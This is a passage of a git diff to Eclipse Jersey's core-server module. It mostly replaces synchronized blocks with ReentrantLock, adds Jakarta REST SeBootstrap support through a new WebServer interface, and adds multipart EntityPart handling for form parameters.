+        runtimeLock.lock();
+        try {
             if (!suspended) {
                 throw new IllegalStateException(LocalizationMessages.SUSPEND_NOT_SUSPENDED());
             }
@@ -110,18 +116,21 @@
 
                     @Override
                     public void run() {
+                        runtimeLock.lock();
                         try {
-                            synchronized (runtimeLock) {
-                                timeoutHandler.onTimeout(containerResponseWriter);
-                            }
+                            timeoutHandler.onTimeout(containerResponseWriter);
                         } catch (final Throwable throwable) {
                             LOGGER.log(Level.WARNING, LocalizationMessages.SUSPEND_HANDLER_EXECUTION_FAILED(), throwable);
+                        } finally {
+                            runtimeLock.unlock();
                         }
                     }
                 }, timeOut, unit);
             } catch (final IllegalStateException ex) {
                 LOGGER.log(Level.WARNING, LocalizationMessages.SUSPEND_SCHEDULING_ERROR(), ex);
             }
+        } finally {
+            runtimeLock.unlock();
         }
     }
 
@@ -132,10 +141,15 @@
         close(false);
     }
 
-    private synchronized void close(final boolean interruptIfRunning) {
-        if (timeoutTask != null) {
-            timeoutTask.cancel(interruptIfRunning);
-            timeoutTask = null;
+    private void close(final boolean interruptIfRunning) {
+        runtimeLock.lock();
+        try {
+            if (timeoutTask != null) {
+                timeoutTask.cancel(interruptIfRunning);
+                timeoutTask = null;
+            }
+        } finally {
+            runtimeLock.unlock();
         }
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
index f8abbed..4e95a47 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,8 @@
 import java.util.Collections;
 import java.util.IdentityHashMap;
 import java.util.Set;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.function.Consumer;
 import java.util.function.Function;
 import java.util.logging.Level;
@@ -54,7 +56,7 @@
     private final Consumer<Binding> registerBinding;
 
     private final Set<Class<?>> bindingCache;
-    private final Object bindingCacheLock;
+    private final Lock bindingCacheLock;
 
     private volatile ResourceModel resourceModel;
 
@@ -73,7 +75,7 @@
         this.injectInstance = injectInstance;
         this.registerBinding = registerBinding;
         this.bindingCache = Collections.newSetFromMap(new IdentityHashMap<>());
-        this.bindingCacheLock = new Object();
+        this.bindingCacheLock = new ReentrantLock();
     }
 
     @Override
@@ -110,11 +112,14 @@
             return;
         }
 
-        synchronized (bindingCacheLock) {
+        bindingCacheLock.lock();
+        try {
             if (bindingCache.contains(resourceClass)) {
                 return;
             }
             unsafeBindResource(resourceClass, null);
+        } finally {
+            bindingCacheLock.unlock();
         }
     }
 
@@ -135,7 +140,8 @@
             return;
         }
 
-        synchronized (bindingCacheLock) {
+        bindingCacheLock.lock();
+        try {
             if (bindingCache.contains(resourceClass)) {
                 return;
             }
@@ -144,6 +150,8 @@
             }
 
             bindingCache.add(resourceClass);
+        } finally {
+            bindingCacheLock.unlock();
         }
     }
 
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
index ab70a02..bfaad0e 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,26 @@
 
 package org.glassfish.jersey.server.internal;
 
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionStage;
+
+import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
 import org.glassfish.jersey.internal.AbstractRuntimeDelegate;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.WebServerFactory;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.WebServer;
 
 /**
  * Server-side implementation of JAX-RS {@link jakarta.ws.rs.ext.RuntimeDelegate}.
- * This overrides the default implementation of {@link jakarta.ws.rs.ext.RuntimeDelegate} from
- * jersey-common which does not implement {@link #createEndpoint(jakarta.ws.rs.core.Application, java.lang.Class)}
+ * This overrides the default implementation of
+ * {@link jakarta.ws.rs.ext.RuntimeDelegate} from jersey-common which does not
+ * implement
+ * {@link #createEndpoint(jakarta.ws.rs.core.Application, java.lang.Class)}
  * method.
  *
  * @author Jakub Podlesak
@@ -39,11 +49,84 @@
     }
 
     @Override
-    public <T> T createEndpoint(Application application, Class<T> endpointType)
+    public <T> T createEndpoint(final Application application, final Class<T> endpointType)
             throws IllegalArgumentException, UnsupportedOperationException {
         if (application == null) {
             throw new IllegalArgumentException("application is null.");
         }
         return ContainerFactory.createContainer(endpointType, application);
     }
+
+    @Override
+    public JerseySeBootstrapConfiguration.Builder createConfigurationBuilder() {
+        return JerseySeBootstrapConfiguration.builder();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public CompletableFuture<SeBootstrap.Instance> bootstrap(final Application application,
+            final SeBootstrap.Configuration configuration) {
+
+        return CompletableFuture.supplyAsync(() -> {
+            final Class<WebServer> httpServerClass = configuration.hasProperty(ServerProperties.WEBSERVER_CLASS)
+                    ? (Class<WebServer>) configuration.property(ServerProperties.WEBSERVER_CLASS)
+                    : WebServer.class;
+
+            final WebServer webServer
+                    = WebServerFactory.createServer(httpServerClass, application, configuration);
+            return instance(configuration, webServer);
+        });
+    }
+
+    @SuppressWarnings("unchecked")
+    public CompletableFuture<SeBootstrap.Instance> bootstrap(final Class<? extends Application> applicationClass,
+                                                             final SeBootstrap.Configuration configuration) {
+
+        return CompletableFuture.supplyAsync(() -> {
+            final Class<WebServer> httpServerClass = configuration.hasProperty(ServerProperties.WEBSERVER_CLASS)
+                    ? (Class<WebServer>) configuration.property(ServerProperties.WEBSERVER_CLASS)
+                    : WebServer.class;
+
+            final WebServer webServer
+                    = WebServerFactory.createServer(httpServerClass, applicationClass, configuration);
+            return instance(configuration, webServer);
+        });
+    }
+
+    private SeBootstrap.Instance instance(final SeBootstrap.Configuration configuration,
+                                          final WebServer _webServer) {
+        return new SeBootstrap.Instance() {
+            final WebServer webServer = _webServer;
+            @Override
+            public final JerseySeBootstrapConfiguration configuration() {
+                return JerseySeBootstrapConfiguration.from(name -> {
+                    switch (name) {
+                        case SeBootstrap.Configuration.PORT:
+                            return webServer.port();
+                        case ServerProperties.WEBSERVER_CLASS:
+                            return webServer.getClass();
+                        default:
+                            return configuration.property(name);
+                    }
+                });
+            }
+
+            @Override
+            public final CompletionStage<StopResult> stop() {
+                return this.webServer.stop().thenApply(nativeResult -> new StopResult() {
+
+                    @Override
+                    public final <T> T unwrap(final Class<T> nativeClass) {
+                        return nativeClass.cast(nativeResult);
+                    }
+                });
+            }
+
+            @Override
+            public final <T> T unwrap(final Class<T> nativeClass) {
+                return nativeClass.isInstance(this.webServer) ? nativeClass.cast(this.webServer)
+                        : this.webServer.unwrap(nativeClass);
+            }
+        };
+    }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java
index f1fcbeb..73c9684 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,19 +16,26 @@
 
 package org.glassfish.jersey.server.internal.inject;
 
+import java.io.IOException;
 import java.io.UnsupportedEncodingException;
 import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
 import java.net.URLDecoder;
 import java.net.URLEncoder;
+import java.security.AccessController;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.function.BiFunction;
 import java.util.function.Function;
 
 import jakarta.ws.rs.Encoded;
 import jakarta.ws.rs.FormParam;
 import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.core.Form;
+import jakarta.ws.rs.core.GenericType;
 import jakarta.ws.rs.core.HttpHeaders;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.MultivaluedMap;
@@ -37,7 +44,13 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.internal.inject.ExtractorException;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.Providers;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.NullableMultivaluedHashMap;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
 import org.glassfish.jersey.message.internal.MediaTypes;
 import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ContainerRequest;
@@ -45,6 +58,7 @@
 import org.glassfish.jersey.server.internal.InternalServerProperties;
 import org.glassfish.jersey.server.internal.LocalizationMessages;
 import org.glassfish.jersey.server.model.Parameter;
+import org.glassfish.jersey.server.spi.internal.ValueParamProvider;
 
 /**
  * Value factory provider supporting the {@link FormParam} injection annotation.
@@ -55,13 +69,17 @@
 @Singleton
 final class FormParamValueParamProvider extends AbstractValueParamProvider {
 
+    private final MultipartFormParamValueProvider multipartProvider;
     /**
      * Injection constructor.
      *
      * @param mpep extractor provider.
+     * @param injectionManager
      */
-    public FormParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> mpep) {
+    public FormParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> mpep,
+                                       InjectionManager injectionManager) {
         super(mpep, Parameter.Source.FORM);
+        this.multipartProvider = new MultipartFormParamValueProvider(injectionManager);
     }
 
     @Override
@@ -73,22 +91,37 @@
             return null;
         }
 
+        if (EntityPart.class == parameter.getType()) {
+            return new Function<ContainerRequest, Object>() {
+                @Override
+                public Object apply(ContainerRequest containerRequest) {
+                    return multipartProvider.getEntityPart(containerRequest, parameter);
+                }
+            };
+        }
+
         MultivaluedParameterExtractor e = get(parameter);
         if (e == null) {
             return null;
         }
-        return new FormParamValueProvider(e, !parameter.isEncoded());
+        return new FormParamValueProvider(e, multipartProvider, !parameter.isEncoded(), parameter);
     }
 
     private static final class FormParamValueProvider implements Function<ContainerRequest, Object> {
 
         private static final Annotation encodedAnnotation = getEncodedAnnotation();
         private final MultivaluedParameterExtractor<?> extractor;
+        private final MultipartFormParamValueProvider multipartProvider;
         private final boolean decode;
+        private final Parameter parameter;
 
-        FormParamValueProvider(MultivaluedParameterExtractor<?> extractor, boolean decode) {
+        FormParamValueProvider(MultivaluedParameterExtractor<?> extractor,
+                               MultipartFormParamValueProvider multipartProvider,
+                               boolean decode, Parameter parameter) {
             this.extractor = extractor;
+            this.multipartProvider = multipartProvider;
             this.decode = decode;
+            this.parameter = parameter;
         }
 
         private static Form getCachedForm(final ContainerRequest request, boolean decode) {
@@ -121,24 +154,27 @@
 
         @Override
         public Object apply(ContainerRequest request) {
-            Form form = getCachedForm(request, decode);
+            if (MediaTypes.typeEqual(MediaType.MULTIPART_FORM_DATA_TYPE, request.getMediaType())) {
+                return multipartProvider.apply(request, parameter);
+            } else {
+                Form form = getCachedForm(request, decode);
 
-            if (form == null) {
-                Form otherForm = getCachedForm(request, !decode);
-                if (otherForm != null) {
-                    form = switchUrlEncoding(request, otherForm);
-                    cacheForm(request, form);
-                } else {
-                    form = getForm(request);
+                if (form == null) {
+                    Form otherForm = getCachedForm(request, !decode);
+                    if (otherForm != null) {
+                        form = switchUrlEncoding(request, otherForm);
+                    } else {
+                        form = getForm(request);
+                    }
                     cacheForm(request, form);
                 }
-            }
 
-            try {
-                return extractor.extract(form.asMap());
-            } catch (ExtractorException e) {
-                throw new ParamException.FormParamException(e.getCause(),
-                        extractor.getName(), extractor.getDefaultValueString());
+                try {
+                    return extractor.extract(form.asMap());
+                } catch (ExtractorException e) {
+                    throw new ParamException.FormParamException(e.getCause(),
+                            extractor.getName(), extractor.getDefaultValueString());
+                }
             }
         }
 
@@ -199,4 +235,96 @@
             }
         }
     }
+
+    @Singleton
+    private static class MultipartFormParamValueProvider implements BiFunction<ContainerRequest, Parameter, Object> {
+        private static final class FormParamHolder {
+            @FormParam("name")
+            public static final Void dummy = null; // field to get an instance of FormParam annotation
+        }
+        private static Parameter entityPartParameter =
+                Parameter.create(
+                        EntityPart.class, EntityPart.class, false, EntityPart.class, EntityPart.class,
+                        AccessController.doPrivileged(ReflectionHelper.getDeclaredFieldsPA(FormParamHolder.class))[0]
+                            .getAnnotations()
+                );
+
+        private final InjectionManager injectionManager;
+        private final LazyValue<ValueParamProvider> entityPartProvider;
+
+        private MultipartFormParamValueProvider(InjectionManager injectionManager) {
+            this.injectionManager = injectionManager;
+
+            //Get the provider from jersey-media-multipart
+            entityPartProvider = Values.lazy((Value<ValueParamProvider>) () -> {
+                Set<ValueParamProvider> providers = Providers.getProviders(injectionManager, ValueParamProvider.class);
+                for (ValueParamProvider vfp : providers) {
+                    Function<ContainerRequest, ?> paramValueSupplier = vfp.getValueProvider(entityPartParameter);
+                    if (paramValueSupplier != null && !FormParamValueParamProvider.class.isInstance(vfp)) {
+                        return vfp;
+                    }
+                }
+                return null;
+            });
+        }
+
+        @Override
+        public Object apply(ContainerRequest containerRequest, Parameter parameter) {
+            Object entity = null;
+            final EntityPart entityPart = getEntityPart(containerRequest, parameter);
+            if (entityPart != null) { // else jersey-multipart module is missing
+                try {
+                    entity = parameter.getType() != parameter.getRawType()
+                            ? entityPart.getContent(genericType(parameter.getRawType(), parameter.getType()))
+                            : entityPart.getContent(parameter.getRawType());
+                } catch (IOException e) {
+                    throw new ProcessingException(e);
+                }
+            }
+
+            return entity;
+        }
+
+        private EntityPart getEntityPart(ContainerRequest containerRequest, Parameter parameter) {
+            final ValueParamProvider valueParamProvider = entityPartProvider.get();
+            if (valueParamProvider != null) { // else jersey-multipart module is missing
+                final Function<ContainerRequest, ?> valueSupplier = valueParamProvider.getValueProvider(
+                        new WrappingFormParamParameter(entityPartParameter, parameter));
+                return (EntityPart) valueSupplier.apply(containerRequest);
+            }
+            return null;
+        }
+
+        private GenericType genericType(Type rawType, Type genericType) {
+            return new GenericType(new ParameterizedType() {
+                @Override
+                public Type[] getActualTypeArguments() {
+                    return new Type[]{genericType};
+                }
+
+                @Override
+                public Type getRawType() {
+                    return rawType;
+                }
+
+                @Override
+                public Type getOwnerType() {
+                    return null;
+                }
+            });
+        }
+
+        private static class WrappingFormParamParameter extends Parameter {
+            protected WrappingFormParamParameter(Parameter entityPartDataParam, Parameter realDataParam) {
+                super(realDataParam.getAnnotations(),
+                        realDataParam.getSourceAnnotation(),
+                        realDataParam.getSource(),
+                        realDataParam.getSourceName(),
+                        entityPartDataParam.getRawType(),
+                        entityPartDataParam.getType(),
+                        realDataParam.isEncoded(),
+                        realDataParam.getDefaultValue());
+            }
+        }
+    }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
index b9ddc55..07337eb 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -87,7 +87,7 @@
         EntityParamValueParamProvider entityProvider = new EntityParamValueParamProvider(paramExtractor);
         suppliers.add(entityProvider);
 
-        FormParamValueParamProvider formProvider = new FormParamValueParamProvider(paramExtractor);
+        FormParamValueParamProvider formProvider = new FormParamValueParamProvider(paramExtractor, injectionManager);
         suppliers.add(formProvider);
 
         HeaderParamValueParamProvider headerProvider = new HeaderParamValueParamProvider(paramExtractor);
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java
index a7d5829..dc99a5d 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,8 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -60,7 +62,7 @@
     private volatile ResourcesMBeanGroup resourceClassStatsGroup;
     private volatile ExceptionMapperMXBeanImpl exceptionMapperMXBean;
     private final AtomicBoolean destroyed = new AtomicBoolean(false);
-    private final Object LOCK = new Object();
+    private final Lock LOCK = new ReentrantLock();
 
     /**
      * Name of domain that will prefix mbeans {@link ObjectName}. The code uses this
@@ -110,45 +112,47 @@
     void registerMBean(Object mbean, String namePostfix) {
         final MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
         final String name = domain + namePostfix;
+        LOCK.lock();
         try {
-            synchronized (LOCK) {
-                if (destroyed.get()) {
-                    // already destroyed
-                    return;
-                }
-                final ObjectName objectName = new ObjectName(name);
-                if (mBeanServer.isRegistered(objectName)) {
-
-                    LOGGER.log(Level.WARNING,
-                            LocalizationMessages.WARNING_MONITORING_MBEANS_BEAN_ALREADY_REGISTERED(objectName));
-                    mBeanServer.unregisterMBean(objectName);
-                }
-                mBeanServer.registerMBean(mbean, objectName);
+            if (destroyed.get()) {
+                // already destroyed
+                return;
             }
+            final ObjectName objectName = new ObjectName(name);
+            if (mBeanServer.isRegistered(objectName)) {
+
+                LOGGER.log(Level.WARNING,
+                        LocalizationMessages.WARNING_MONITORING_MBEANS_BEAN_ALREADY_REGISTERED(objectName));
+                mBeanServer.unregisterMBean(objectName);
+            }
+            mBeanServer.registerMBean(mbean, objectName);
         } catch (JMException e) {
             throw new ProcessingException(LocalizationMessages.ERROR_MONITORING_MBEANS_REGISTRATION(name), e);
+        } finally {
+            LOCK.unlock();
         }
     }
 
     private void unregisterJerseyMBeans(boolean destroy) {
         final MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
+        LOCK.lock();
         try {
-            synchronized (LOCK) {
-                if (destroy) {
-                    destroyed.set(true); // do not register new beans since now
-                }
+            if (destroy) {
+                destroyed.set(true); // do not register new beans since now
+            }
 
-                if (domain == null) {
-                    // No bean has been registered yet.
-                    return;
-                }
-                final Set<ObjectName> names = mBeanServer.queryNames(new ObjectName(domain + ",*"), null);
-                for (ObjectName name : names) {
-                    mBeanServer.unregisterMBean(name);
-                }
+            if (domain == null) {
+                // No bean has been registered yet.
+                return;
+            }
+            final Set<ObjectName> names = mBeanServer.queryNames(new ObjectName(domain + ",*"), null);
+            for (ObjectName name : names) {
+                mBeanServer.unregisterMBean(name);
             }
         } catch (Exception e) {
             throw new ProcessingException(LocalizationMessages.ERROR_MONITORING_MBEANS_UNREGISTRATION_DESTROY(), e);
+        } finally {
+            LOCK.unlock();
         }
     }
 
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java
index 8c116ca..7b97eb9 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java
@@ -19,6 +19,8 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.NoSuchElementException;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.jar.JarEntry;
 import java.util.jar.JarInputStream;
 import java.util.logging.Level;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java
index f08cfb1..501372a 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import java.net.URI;
 import java.net.URL;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
@@ -155,7 +155,7 @@
             return new URL(jarUrlString).openStream();
         } catch (final MalformedURLException e) {
             return Files.newInputStream(
-                    Paths.get(UriComponent.decode(jarUrlString, UriComponent.Type.PATH)));
+                    Path.of(UriComponent.decode(jarUrlString, UriComponent.Type.PATH)));
         }
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java
index 06a9432..d482dde 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,6 +27,8 @@
 import java.util.HashMap;
 import java.util.Locale;
 import java.util.Map;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 
 import org.glassfish.jersey.internal.OsgiRegistry;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -54,7 +56,7 @@
  * URI schemes.
  * <p>
  * Further schemes may be registered by registering an implementation of
- * {@link UriSchemeResourceFinderFactory} in the META-INF/services file whose name is the
+ * {@link UriSchemeResourceFinderFactory} in the META-INF/services file whose name is
  * the fully qualified class name of {@link UriSchemeResourceFinderFactory}.
  * <p>
  * If a URI scheme is not supported a {@link ResourceFinderException} will be thrown
@@ -195,13 +197,15 @@
     public abstract static class ResourcesProvider {
 
         private static volatile ResourcesProvider provider;
+        private static final Lock RESOURCE_PROVIDER_LOCK = new ReentrantLock();
 
         private static ResourcesProvider getInstance() {
             // Double-check idiom for lazy initialization
             ResourcesProvider result = provider;
 
             if (result == null) { // first check without locking
-                synchronized (ResourcesProvider.class) {
+                RESOURCE_PROVIDER_LOCK.lock();
+                try {
                     result = provider;
                     if (result == null) { // second check with locking
                         provider = result = new ResourcesProvider() {
@@ -214,6 +218,8 @@
                         };
 
                     }
+                } finally {
+                    RESOURCE_PROVIDER_LOCK.unlock();
                 }
 
             }
@@ -226,9 +232,9 @@
                 final ReflectPermission rp = new ReflectPermission("suppressAccessChecks");
                 security.checkPermission(rp);
             }
-            synchronized (ResourcesProvider.class) {
-                ResourcesProvider.provider = provider;
-            }
+            RESOURCE_PROVIDER_LOCK.lock();
+            ResourcesProvider.provider = provider;
+            RESOURCE_PROVIDER_LOCK.unlock();
         }
 
         /**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java
new file mode 100644
index 0000000..731e4eb
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server.spi;
+
+import java.util.concurrent.CompletionStage;
+
+import jakarta.ws.rs.ConstrainedTo;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.spi.Contract;
+
+/**
+ * Jersey service contract for self-contained servers.
+ * <p>
+ *      Runs a self-contained {@link Application} in a {@link Container} using a
+ *      Web Server implicitly started and stopped together with the application.
+ * </p>
+ * <p>
+ *     The WebServer instance is wrapped by the implementation of {@link jakarta.ws.rs.SeBootstrap.Instance}.
+ * </p>
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+@Contract
+@ConstrainedTo(RuntimeType.SERVER)
+public interface WebServer {
+
+    /**
+     * @return container in which the application lives.
+     */
+    public Container container();
+
+    /**
+     * @return IP port the application listens to for requests.
+     */
+    public int port();
+
+    /**
+     * Initiates server bootstrap.
+     * <p>
+     * Startup happens in background. The completion stage produces a native startup
+     * result.
+     * </p>
+     * <p>
+     * Portable applications should not expect any particular result type, as it is
+     * implementation-specific.
+     * </p>
+     *
+     * @return A {@link CompletionStage} providing a native startup result of the
+     *         bootstrap process. The native result MAY be {@code null}.
+     */
+    public CompletionStage<?> start();
+
+    /**
+     * Initiates server shutdown.
+     * <p>
+     * Shutdown happens in background. The completion stage produces a native
+     * shutdown result.
+     * </p>
+     * </p>
+     * Portable applications should not expect any particular result type, as it is
+     * implementation-specific.
+     * </p>
+     *
+     * @return A {@link CompletionStage} providing a native shutdown result of the
+     *         shutdown process. The native result MAY be {@code null}.
+     */
+    public CompletionStage<?> stop();
+
+    /**
+     * Provides access to the native handle(s) of the server, if it holds at least
+     * one.
+     * <p>
+     * Implementations MAY use native handles to identify the server instance, and /
+     * or use those to communicate with and control the instance. Whether or not
+     * such handles exist, and their respective data types, is
+     * implementation-specific.
+     * </p>
+     * <p>
+     * Portable applications should not invoke this method, as the types of
+     * supported handles are implementation-specific.
+     * </p>
+     *
+     * @param nativeClass
+     *            The class of the native handle.
+     * @return The native handle, or {@code null} if no handle of this type exists.
+     */
+    public <T> T unwrap(Class<T> nativeClass);
+
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java
new file mode 100644
index 0000000..d1d5d2c
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server.spi;
+
+import jakarta.ws.rs.ConstrainedTo;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.spi.Contract;
+
+/**
+ * Service-provider interface for creating server instances.
+ *
+ * If supported by the provider, a server instance of the requested Java type
+ * will be created.
+ * <p>
+ * The created server uses an internally created {@link Container} which is
+ * responsible for listening on a communication channel provided by the server
+ * for new client requests, dispatching these requests to the registered
+ * {@link ApplicationHandler Jersey application handler} using the handler's
